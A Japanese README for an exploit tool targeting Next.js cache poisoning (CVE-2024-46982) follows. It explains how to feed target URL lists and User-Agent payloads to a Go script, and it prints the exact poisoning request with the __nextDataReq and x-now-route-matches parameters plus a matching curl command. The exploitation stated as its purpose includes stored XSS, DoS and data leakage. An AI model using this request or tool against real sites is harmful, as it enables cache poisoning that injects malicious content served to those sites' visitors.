Next.js キャッシュポイズニングエクスプロイト

このツールは、Next.js におけるキャッシュポイズニングの脆弱性 CVE-2024-46982 の検出と悪用を自動化します。この脆弱性では、Server-Side Rendering (SSR) のレスポンスが Static Site Generation (SSG) として誤ってキャッシュされる可能性があります。この設定ミスにより、Stored XSS、DoS、データ漏えいが引き起こされ、攻撃者がキャッシュされたレスポンスに悪意のあるコンテンツを注入できるようになります。

インストールと使用方法

ターゲットリストを準備する

targets.txt という名前のファイルを作成し、1行に1つのターゲットURLを記載します:

https://vulnerable-site.com
https://another-target.com

カスタムペイロードを定義する

payloads.txt という名前のファイルを作成し、User-Agent ヘッダーを介して注入されるペイロードを記載します:

エクスプロイトを実行する

以下のコマンドでエクスプロイトをコンパイルして実行します:

go run exploit.go -f targets.txt -p payloads.txt -d 5

動作の仕組み

• targets.txt からターゲットURLのリストを読み取ります
• 各ターゲットを反復処理し、脆弱なエンドポイントを追加します:

GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1

• payloads.txt の異なるペイロードを使用して複数のリクエストを送信します
• HTTPレスポンスを分析して、インジェクションが成功した兆候を確認します:
  • レスポンスボディにペイロードが含まれている場合 → ターゲットは脆弱です
  • レスポンスコードが200 OKで、キャッシュ動作が異常な場合 → 潜在的に脆弱です
  • レスポンスコードが403 Forbiddenまたは404 Not Foundの場合 → パッチ適用済みの可能性が高いです
• すべてのターゲットをテストした後に結果を表示します

手動で確認するには:

curlを使用して悪意のあるリクエストを送信します:

curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
     -H "User-Agent: " \
     -H "x-now-route-matches: 1"

ブラウザでエンドポイントにアクセスします

必要条件

• Go 1.21 以降。